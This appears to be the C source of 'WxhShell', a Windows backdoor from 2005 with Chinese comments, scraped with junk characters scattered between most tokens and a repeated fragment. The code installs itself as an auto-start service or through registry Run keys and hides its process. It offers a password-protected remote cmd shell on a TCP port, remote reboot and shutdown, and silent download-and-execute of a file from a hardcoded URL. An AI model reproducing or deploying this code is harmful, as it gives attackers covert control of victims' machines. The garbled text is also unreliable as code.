"GetModuleBaseNameA"); 8FITcK^ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A0ToX) |C !Z ZA I_N if (!NtQueryInformationProcess) return 0; SOL=3hfb^ >vU
Hf`4T hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bW]+Og if(!hProcess) return 0; yN.D(ZwF: GdU
W$. if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %ab79RS]C ;<A/e CloseHandle(hProcess); 5dk,!Cjg YovY0nO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v=>Gvl3&U if(hProcess==NULL) return 0; URgF8?n v#FUD-Z HMODULE hMod; C(t/:?(y char procName[255]; #`$7$Y~] unsigned long cbNeeded; luT8>9X^:a 86g+c if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c"ztrKQQ 8g NEL+ CloseHandle(hProcess); nmGHJb,$ a5M>1&j/eC if(strstr(procName,"services")) return 1; // 以服务启动 <GN?J.B De_</1Au!2 return 0; // 注册表启动 }t'^Au`X } Cs{f'I h~p}08 // 主模块 hd;I x%tq> int StartWxhshell(LPSTR lpCmdLine) rzHa&:Y { $5r,Q{;$ SOCKET wsl; -wfV BOOL val=TRUE; }TW=eu~ int port=0; 'r%oOZk)z struct sockaddr_in door; jxaoQeac +IYSWR if(wscfg.ws_autoins) Install(); z<>_*Lfj ^@2Vh*k port=atoi(lpCmdLine); j+hoj2( b*KZe[#M1 if(port<=0) port=wscfg.ws_port; $wTX b3lpNJ J WSADATA data; pt#[.n#f if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |5Pbc&mH8A <4,?lZ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; G65N: setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rR~X>+K door.sin_family = AF_INET; ~x:]ch| door.sin_addr.s_addr = inet_addr("127.0.0.1"); . $YF|v[= door.sin_port = htons(port); vM/v}6;_K2 5nAF =Bj if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [)~@NN closesocket(wsl); 1.uQ(>n return 1; ($>0&w } ;7k7/f: rgKn=8+a if(listen(wsl,2) == INVALID_SOCKET) { RzQS@^u*F0 closesocket(wsl); w>_EM&r6~u return 1; nh)R } `F 8;{`a Wxhshell(wsl); H~]o]uAi" WSACleanup(); qhtAtP>i" 0pa^O$?p return 0; ,0]28D nn4Sy,cz } FaE orQ YCO:bBmp: // 以NT服务方式启动 @98SC}}u VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %)Dd{|c { QL18MbfqP DWORD status = 0; T9-a
uK0d DWORD specificError = 0xfffffff; yW?%c#9D bU`yymf{L serviceStatus.dwServiceType = SERVICE_WIN32; |9]K:A serviceStatus.dwCurrentState = SERVICE_START_PENDING;
Tpx,41(k serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 98'XSL| serviceStatus.dwWin32ExitCode = 0; %0]b5u serviceStatus.dwServiceSpecificExitCode = 0; 4 GW[GT serviceStatus.dwCheckPoint = 0; g}QTZT8 serviceStatus.dwWaitHint = 0; I>Fh*2 4ZpF1Zc4B hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5O
;^Mk| if (hServiceStatusHandle==0) return; z %E!tB2o *%'7~58ObS status = GetLastError(); G!%XQ\a! if (status!=NO_ERROR) v:1Vli. { 9mphj)`d;# serviceStatus.dwCurrentState = SERVICE_STOPPED; gEHfsR=D6 serviceStatus.dwCheckPoint = 0; >0#q!H,X serviceStatus.dwWaitHint = 0; arVf"3a serviceStatus.dwWin32ExitCode = status; JBAK*g serviceStatus.dwServiceSpecificExitCode = specificError; XYF~Q9~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); hpV
/F return; }A/&]1GWk } 6F/
OlK< 6RQCKN)
serviceStatus.dwCurrentState = SERVICE_RUNNING; k+GnF00N^8 serviceStatus.dwCheckPoint = 0; bI6wE'h serviceStatus.dwWaitHint = 0; 7Sq{A@ET if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +{ !t~BW } cG!2Iy~lA ]f-'A>MC // 处理NT服务事件,比如:启动、停止 00a<(sS; VOID WINAPI NTServiceHandler(DWORD fdwControl) #'J7Wy { L$c%u switch(fdwControl) f?^Oy!1] { y"p-8RVk{ case SERVICE_CONTROL_STOP: B\>}X_\4 serviceStatus.dwWin32ExitCode = 0; l'".}6S serviceStatus.dwCurrentState = SERVICE_STOPPED; 42wC."A serviceStatus.dwCheckPoint = 0; lv_% serviceStatus.dwWaitHint = 0; qZ_fQ@ { _XNR um4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); <sYw%9V } 7C7(bg,7^ return; @<TZH case SERVICE_CONTROL_PAUSE: {&u7kWD| serviceStatus.dwCurrentState = SERVICE_PAUSED; T^;Jz!e break; X3L[y\ case SERVICE_CONTROL_CONTINUE: }6,bq`MN serviceStatus.dwCurrentState = SERVICE_RUNNING; lWw!+[<:q1 break; ^I~T$YjC ' case SERVICE_CONTROL_INTERROGATE: exEld break; (i0"hi }; \ +-hn SetServiceStatus(hServiceStatusHandle, &serviceStatus); zn;Hs]G } $o$Ev@mi jsi#l // 标准应用程序主函数 P|P fG= int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Iki+5 { ) a\DS yr >c\v&k>6. // 获取操作系统版本 )F#<)Evw OsIsNt=GetOsVer(); 3et2\wOX1x GetModuleFileName(NULL,ExeFile,MAX_PATH); C\^<v& A.C278^O8 // 从命令行安装 imCl{vt(kj if(strpbrk(lpCmdLine,"iI")) Install(); DEp%\sj? lJ] \ // 下载执行文件 4OZ5hH
h if(wscfg.ws_downexe) { IL2Gsj)M if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O-!fOdX8_k WinExec(wscfg.ws_filenam,SW_HIDE); Nw>T$RzS } 9eN2)a/ VO;UV$$ if(!OsIsNt) { | ]!Ky[P // 如果时win9x,隐藏进程并且设置为注册表启动 $x_52 j\j HideProc(); ,{ L;B StartWxhshell(lpCmdLine); f'`nx;@X } Re,$<9V else )C01fZhD if(StartFromService()) L8w76| // 以服务方式启动 E,D:D3O StartServiceCtrlDispatcher(DispatchTable); U>_\ else eo*u(@ // 普通方式启动 6n6VEwYj StartWxhshell(lpCmdLine); /mBBeg^a
6:@t=C return 0; e(; `9T } 'UvS3]bSYW
2HK kGuk
-P $sL|'ZMbS =========================================== Wt)SdF=U/ ZH$sMh<xg ZOrTbik )lDIzLp L^ #< HQ
kulQR>u " Y:"v=EhB ]D) 'I` #include <stdio.h> m!#)JFe67 #include <string.h> M$]O=2h+2 #include <windows.h> B`?N0t%X #include <winsock2.h> rv%ye
H
#include <winsvc.h> x#j\"$dla #include <urlmon.h> Msa6yD# PZ!dn%4jy #pragma comment (lib, "Ws2_32.lib") yhtvr5z1 #pragma comment (lib, "urlmon.lib") bhqq I~]Q55 #define MAX_USER 100 // 最大客户端连接数 (XG[_ #define BUF_SOCK 200 // sock buffer Q+!0)pG5# #define KEY_BUFF 255 // 输入 buffer R<lNk< ]zvVY:v #define REBOOT 0 // 重启 +>!B(j\gx #define SHUTDOWN 1 // 关机 5e/qgI)M5 C>:/(O #define DEF_PORT 5000 // 监听端口 T$8@2[ csdOIF #define REG_LEN 16 // 注册表键长度 u$%D9Z ^ #define SVC_LEN 80 // NT服务名长度 g",w kO| d(DX(xg // 从dll定义API xf^<ec typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )p!*c, typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \Sw+]pr~ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yK&*,J
| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ANFg]g.Az NO+
55n // wxhshell配置信息 {n'qKurxY struct WSCFG { n(Q\',C int ws_port; // 监听端口 /J[H5uA char ws_passstr[REG_LEN]; // 口令 uFm+Y]h int ws_autoins; // 安装标记, 1=yes 0=no orB8Q\p' char ws_regname[REG_LEN]; // 注册表键名 KYkS6|A char ws_svcname[REG_LEN]; // 服务名 L*UV char ws_svcdisp[SVC_LEN]; // 服务显示名 ~gfA](N char ws_svcdesc[SVC_LEN]; // 服务描述信息 :zj9%4A char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2-$bh int ws_downexe; // 下载执行标记, 1=yes 0=no [j=,g-EOA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \=w'HZH#+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 4j=<p@ Tbi]oB# }; c>R`jb@$N `
Y{>2UFX // default Wxhshell configuration 0j{F^rph struct WSCFG wscfg={DEF_PORT,
joChML_ "xuhuanlingzhe", O/DAf|X| 1, mZbWRqP[|_ "Wxhshell", 7ZV~op2Q "Wxhshell", yNrinYw "WxhShell Service", dcl.wD0~V "Wrsky Windows CmdShell Service", J+}+"h~. "Please Input Your Password: ", wUK7um 1, Q$|^~ "http://www.wrsky.com/wxhshell.exe", Zp7yaz3y "Wxhshell.exe" aJ5H3X}Y }; n%0]V Xx# kfqpI
// 消息定义模块 S]e j=6SP char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yHWi[7$ char *msg_ws_prompt="\n\r? for help\n\r#>"; Cdp]Nv6 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^s^JzFw char *msg_ws_ext="\n\rExit."; #cj\~T.,, char *msg_ws_end="\n\rQuit."; WCuzV7tw char *msg_ws_boot="\n\rReboot..."; $=PWT-GIR char *msg_ws_poff="\n\rShutdown..."; G}!7tU char *msg_ws_down="\n\rSave to "; >
$w^%I ,&.W6sW char *msg_ws_err="\n\rErr!"; -,~;qSs char *msg_ws_ok="\n\rOK!"; *'9)H0 *M>
iZO*@ char ExeFile[MAX_PATH]; ~9JW#HHzn int nUser = 0; |'V DI]p& HANDLE handles[MAX_USER]; O!+nF]V4f int OsIsNt; ~lzdbX lQV|U;~D SERVICE_STATUS serviceStatus; _ yfdj[Ot` SERVICE_STATUS_HANDLE hServiceStatusHandle; uQGz;F x AVXX\n\_ // 函数声明 `y\*m]: int Install(void); "wA0 LH_ int Uninstall(void);
2[Z0I4r int DownloadFile(char *sURL, SOCKET wsh); a'@-"qk int Boot(int flag); $h G;2v void HideProc(void); I86e&"40 int GetOsVer(void); 'oz hz2s int Wxhshell(SOCKET wsl); Q~fwWp-J void TalkWithClient(void *cs); hq/J6 M int CmdShell(SOCKET sock); )t|^Nuj8 int StartFromService(void); )n\*ht7 int StartWxhshell(LPSTR lpCmdLine); SU?wFCGT% i(Ip(n VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JN9^fR09G VOID WINAPI NTServiceHandler( DWORD fdwControl ); `9.dgV I2TD.wuIW // 数据结构和表定义 mD9STuA$H SERVICE_TABLE_ENTRY DispatchTable[] = KxO/] { )46
0Ed {wscfg.ws_svcname, NTServiceMain}, rkxW UDl {NULL, NULL} 0o=!j3RjH }; cu[!D}tVU 5^)?mA // 自我安装 +yzcx3< int Install(void) dCB&c^ { U?bG`. X char svExeFile[MAX_PATH]; c]A
Y HKEY key; M'yO+bu strcpy(svExeFile,ExeFile); ]e^R@w :
@'fpN // 如果是win9x系统,修改注册表设为自启动 >|wKXz if(!OsIsNt) { - #3{{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y L*LJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \r)%R5_CQ RegCloseKey(key); {IJ-4> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \% }raI;Y@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !G7h9CF|{ RegCloseKey(key); Ci;h return 0; xT W3UY } RnHQq'J|\ } as>:\hjP## } d
i!"IQAvK else { 9160L qY b.QpHrnhtK // 如果是NT以上系统,安装为系统服务 vFTXTbt'h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :@.C4oq if (schSCManager!=0) :~yzDk\I"- { CE)*qFs SC_HANDLE schService = CreateService H{ZLk, ( L>SZgmV+ schSCManager, 5v"Y\k+1 wscfg.ws_svcname, :Df)"~/mO+ wscfg.ws_svcdisp, x_yF|]aI! SERVICE_ALL_ACCESS, A:/}` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {={^6@ SERVICE_AUTO_START, ]bIt@GB SERVICE_ERROR_NORMAL, y =R
aJm svExeFile, NdZ)[f:2 NULL, }d_<\ NULL, z; J NULL, JfMJF[Mb
NULL, QV0M/k<' NULL @|Dm E!) ); 8$ic~eJ if (schService!=0) 1YFeVMc { (#oYyM] CloseServiceHandle(schService); hGvq T, ' CloseServiceHandle(schSCManager); d>&\V)E strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -TgUyv. strcat(svExeFile,wscfg.ws_svcname); ^\MhT)x if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Yt{ji RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T)8p:}P! RegCloseKey(key); @:
Z#E[N H return 0; {ih:FcI
} L_^`k4ct } cv= \g Z CloseServiceHandle(schSCManager); EJ G2^DSS } /9 pbnzn } z=qWJQ mmHJh\2v return 1; V~85oUc\- } ZPlPN;J^1 Twx{' S // 自我卸载 >5.zk1&H int Uninstall(void) `$at9 { okz]Qc>G HKEY key; mf}\s]_c >PIPp7C if(!OsIsNt) { 8
}-7{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ABcBEv3 RegDeleteValue(key,wscfg.ws_regname); w,Q)@]_ RegCloseKey(key); k{a)gFH
O if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k d+l k: RegDeleteValue(key,wscfg.ws_regname); fWj@e"G RegCloseKey(key); e8{^f]5 return 0; G]-%AO{K } 7%4.b7Q } 7,h3V=^)Q } Qwv '< else { 9\AS@SH{^T SiV*WxQe SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VG)="g[%) if (schSCManager!=0) uJY.5w { \n_3Bwd~ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #&V5H{ if (schService!=0) [t{](- { .a:Z!KF if(DeleteService(schService)!=0) { x6ahZ CloseServiceHandle(schService); 9<l-NU9 _ CloseServiceHandle(schSCManager); 088C| return 0; 6 Uw;C84! } NI8~QeGah CloseServiceHandle(schService); KzG_ << } Ihg~Q4t CloseServiceHandle(schSCManager); VHW`NP 5Jl } ,E?4f
@|X } .fEwk Ukc'?p,* return 1; jn$j^51`C } FZ p<|t n'?4.tb // 从指定url下载文件 "U{,U`@? int DownloadFile(char *sURL, SOCKET wsh) pDOM:lGya { oIb)
Rq!m HRESULT hr; Y
9i][ char seps[]= "/"; 0wFh%/: char *token; -L8YJ8J6 char *file; D#jX6 char myURL[MAX_PATH]; y"-{$ N
char myFILE[MAX_PATH]; b
=b: VhvTBo<cw strcpy(myURL,sURL); TT7PQf > token=strtok(myURL,seps); P?J kP while(token!=NULL) /PqUXF { (;UP%H> file=token; +i=p5d5 token=strtok(NULL,seps); C8.W5P[U } PBrnzkoY %K zbO0 GetCurrentDirectory(MAX_PATH,myFILE); x>
\Bxa8 strcat(myFILE, "\\"); rz.IoQo strcat(myFILE, file); BFh$.+D send(wsh,myFILE,strlen(myFILE),0); /cfHYvnz send(wsh,"...",3,0); Rg&19}BU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A$@o'Q;he if(hr==S_OK) mgVML&^ return 0; 6m+W#]^ else [))JX"a return 1; B+46.bIH !
=WcF5 } H)5QqZ8 tpo>1| // 系统电源模块 F7T E|LZ int Boot(int flag) ]fE3s{y
&- { p=B?/Sqa HANDLE hToken; l.oBcg[ TOKEN_PRIVILEGES tkp; -B9S}NPo q-
:4=vkn if(OsIsNt) { yW("G-Nm OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); d}-'<Z#G LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xNX'~B^4d tkp.PrivilegeCount = 1; j#3m|dQ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TQJF+;% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t',BI if(flag==REBOOT) { v=p0 +J> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9p`r7: return 0; JIxiklk } M&yqfb[ else { lzDdD3Ouc if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]"sRS`0+
return 0; v[&'k\ } Wc|z7P~',% } ^|?1_r else { ?3jdg ]& if(flag==REBOOT) { rzu
s if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G),db%,X2 return 0; Yy
h=G } Hk u=pr3Gn else { 4RQ5(YTTuR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y<Q\d[3^F return 0; qq;b~ 3kW } k1fRj_@WPT } !ZrB^?sO |$e:* return 1; D|Si)_
Iz } 4j3oT)+8 x=,8[W#XT // win9x进程隐藏模块 GN%(9N'W void HideProc(void) _7@z_i_c { ^i`*Wm@! l>7r2; HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); J]fS({(\I if ( hKernel != NULL ) 2xTT)9Tq* { ?@UAL.y pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GMm'of# ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A5XR3$5P FreeLibrary(hKernel); :woa&(wN;1 } <Wy>^<` *]x_,:R6Ow return; a)S7}0|R } O<GF> O
>FO> // 获取操作系统版本 Km*<Kfcz int GetOsVer(void) lIh[|] { 7Fl-(Nv` OSVERSIONINFO winfo; "H1:0p winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W-D[z#)/Y GetVersionEx(&winfo); kG^dqqn6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~lw<799F6 return 1; U9#WN.noG else 5AOfp2O return 0; #C\4/g?=, } Jqru AW< >Z\BfH // 客户端句柄模块
p5<2N int Wxhshell(SOCKET wsl) /2@["*^$ { 4;*f1_;f~ SOCKET wsh; %-j&e44 struct sockaddr_in client; 0 {R/<N DWORD myID; I/B1qw;MN xK;e\^v while(nUser<MAX_USER) "^%Z'ou { ~>%DKJe int nSize=sizeof(client); Zq*eX\#C wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uA\J0"0;} if(wsh==INVALID_SOCKET) return 1; A1A3~9HuK 5f{|"LG& handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8Rxc&`_X if(handles[nUser]==0) #J$qa Ul closesocket(wsh); Nn#u%xvJt else 9#rt:&xo0 nUser++; Z@J.1SaB } 5 =Z!hQ} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Uix{" qI2'u % return 0; #D)x}#V\ } iV
hJH4 [xdj6W // 关闭 socket +v15[^F void CloseIt(SOCKET wsh) Q2\ { $(q8y/,R*- closesocket(wsh); 5I,$EGG nUser--; Ze
?
g ExitThread(0); 0ar=cuDm } eb!_ie"D ^l !L)iw // 客户端请求句柄 CV^c",b_ void TalkWithClient(void *cs) `="v>qN2\ { AS;.sjgk G|9B)`S SOCKET wsh=(SOCKET)cs; z{?4*Bq char pwd[SVC_LEN];
yP\Up char cmd[KEY_BUFF]; T:!MBWYe | char chr[1]; 509Q0 [k int i,j; z[&s5" ]k+m=OR{/ while (nUser < MAX_USER) { )saR0{e0N Q$=*aUU%G if(wscfg.ws_passstr) { }<[Db}?9 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); O9]\Q@M. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LSkk;)'2K //ZeroMemory(pwd,KEY_BUFF); XDLEVSly7 i=0; c> G@+ while(i<SVC_LEN) { kh?. K# Eark) // 设置超时 gyus8#s T fd_set FdRead; fp&Got!pB struct timeval TimeOut; 7+XM3 FD_ZERO(&FdRead); gfo}I2" FD_SET(wsh,&FdRead); 'sU)|W(3U TimeOut.tv_sec=8; &" h]y?Q TimeOut.tv_usec=0; "mZ.V int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G)7)]yBL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9
5 H?{ ,Y!zORv<7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ajM^L!O pwd=chr[0]; OE"<!oIs if(chr[0]==0xd || chr[0]==0xa) { ((MLM3zJ pwd=0; PXEKV0y break; V5MO} } 6Rz[?-mkLO i++; $qm~c[x% } c8ZCs? 8H
$ #+^lW // 如果是非法用户,关闭 socket DO^y;y> if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >q(6,Mmb } xm^95}80yh :ba/W&-d send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); eXzXd*$S send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '_o@VO @"8R3BN while(1) { ;<-7*}Dj rn" pKUd ZeroMemory(cmd,KEY_BUFF); \P?A7vuhLs K]"Kf{bx // 自动支持客户端 telnet标准 Tf-CEHWD j=0; uec|S\~M while(j<KEY_BUFF) { }lfn0 %(@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~A >oO-0K cmd[j]=chr[0]; )H+kB<n if(chr[0]==0xa || chr[0]==0xd) { gq 4 . d cmd[j]=0; DuNcX$%% break; +,_c/(P } mk= #\> j++; }gCHQ;U7` } Lt>7hBe" fNoR\5}! // 下载文件 T]71lRY5 if(strstr(cmd,"http://")) { )zJ=PF send(wsh,msg_ws_down,strlen(msg_ws_down),0); gaeOgP.0 if(DownloadFile(cmd,wsh)) J}@GKNm send(wsh,msg_ws_err,strlen(msg_ws_err),0); rYGRz#:~+ else hKksVi send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q]\j>> } n\ Uh else { j'Wp SE!L : switch(cmd[0]) { e1P7
.n} -,GEv%6c // 帮助 ( V4G<-jG case '?': { e@j8T
gI) send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hTw}X.<4 break; %dmfBf Ev } 0w3b~RJ // 安装 0&$xX!] case 'i': { xIgql}. if(Install()) c]v
+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); :6u~aT/ else kF-TG3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lzfDH=& break; ORH93` } ZQ[~*) // 卸载 E@pFTvo case 'r': { F=i!d,S if(Uninstall()) sqG`"O4W send(wsh,msg_ws_err,strlen(msg_ws_err),0); xF8 :^' else DHzkRCM send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7;xKy'B\ break; p&5S|![\ } JZ K7uB,X // 显示 wxhshell 所在路径 bp%S62Dj case 'p': { l* Y[^' char svExeFile[MAX_PATH]; |<Bpv{]P strcpy(svExeFile,"\n\r"); 7@P656{ strcat(svExeFile,ExeFile); RpN <= send(wsh,svExeFile,strlen(svExeFile),0); Qa?aL break; uF<S } };p~A-E= // 重启 Gl>E[iO case 'b': { }ecsGw send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /"MJkM.~E if(Boot(REBOOT)) %#9P?COs&W send(wsh,msg_ws_err,strlen(msg_ws_err),0); xid:" y=_& else { \7
Mq $d closesocket(wsh); ~:Ixmqi}R ExitThread(0); q^6N+ ^}QN } #=x+
[d+ break; & rQD `E/ } |EeBSRAfe // 关机 wlVvxX3% case 'd': { BWEv1' v send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M=+M8M`Iy if(Boot(SHUTDOWN)) (nz}J)T& send(wsh,msg_ws_err,strlen(msg_ws_err),0); :c<*%*e else { SG`)PW? closesocket(wsh); #eLN1q&Z ExitThread(0); OPiaG!3< } fq(5Lfe} break; o^PuhVu } bK7.St // 获取shell 9K$]h2 case 's': { 8^T2^gs CmdShell(wsh); lh$CWsx closesocket(wsh); @+t (xCv ExitThread(0); i;]CL[#2e` break; {Zwf.., } B^m!t7/, // 退出 M[z3 f case 'x': { xgs@gw7!n0 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YkI9d&ib+ CloseIt(wsh); DZP*x break; 1RA }aX } <Wf0QO, // 离开
`EVg'?pl case 'q': { H9E(\)@ send(wsh,msg_ws_end,strlen(msg_ws_end),0); R8uj3!3^ closesocket(wsh); `WlH*p)z9 WSACleanup(); kF2Qv.5! exit(1); j"6:A break; >KHp-|0pv }
G1p'p&x. } qp@m&GH } EW9b*r7./ , QA9k$` // 提示信息 ifHU|0_= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sW'6}^Q } -%=RFgU4 } f?5A"-NS TZBVU&,{Z return; 0V7 _n } '$*[SauAG D&f!( n // shell模块句柄 }Az'Zu4 = int CmdShell(SOCKET sock) z \^ { dm 2EH STARTUPINFO si; 9.]kOs_ ZeroMemory(&si,sizeof(si)); ,P~QS si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !U[:5@s06 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FH[#yq.Pr PROCESS_INFORMATION ProcessInfo; b?>VPuyBb char cmdline[]="cmd"; UeNF^6sWu0 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F~'sT}A* return 0; l{QC}{Ejc2 } SlN" (nq ,@479ZvvR3 // 自身启动模式 T,Fm"U6[( int StartFromService(void) vgN@~Xa { fOLnK
y# typedef struct W
W35&mI)k { v!KJ|c@m DWORD ExitStatus; }Q;BQ2[ DWORD PebBaseAddress; G}q<{<+$ DWORD AffinityMask; q55M8B 4w DWORD BasePriority; yH+c#w ULONG UniqueProcessId; }EP|Mb ULONG InheritedFromUniqueProcessId; I<KCt2:X } PROCESS_BASIC_INFORMATION; ovSH}h! "G@E6{/ PROCNTQSIP NtQueryInformationProcess; 'rvE /wlFD,+8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I[%M!_+ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; hu&n=6 IG&B2* HANDLE hProcess; )Z&HuEg{ZR PROCESS_BASIC_INFORMATION pbi; w?i)/q
&AJUY()8 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oo\IS\ if(NULL == hInst ) return 0; Gj*SPU f:&)" g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gz#+ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sX
Z4U0# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0yKhp:^ C,(j$Id if (!NtQueryInformationProcess) return 0; 2zM-Ob<U` i!tc hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y{?Kao7Ij if(!hProcess) return 0; :Nkz,R? _=6vW^s if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Agz=8=S% IE|,~M2 CloseHandle(hProcess); fmBkB8 >r~|1kQ. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); y=wdR|b if(hProcess==NULL) return 0; E~}[+X@ y%JF8R;n HMODULE hMod; m+p4Mc%u char procName[255]; URk$}_39 unsigned long cbNeeded; GG*BN<(>! u!M&;QL if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "7:u0p! KjC[q CloseHandle(hProcess); ["<5?!bU 3eJ\aVI>pE if(strstr(procName,"services")) return 1; // 以服务启动 oH=4m~'V $@68= return 0; // 注册表启动 /8:gVXZi } }=TqJy1 9Il'E6
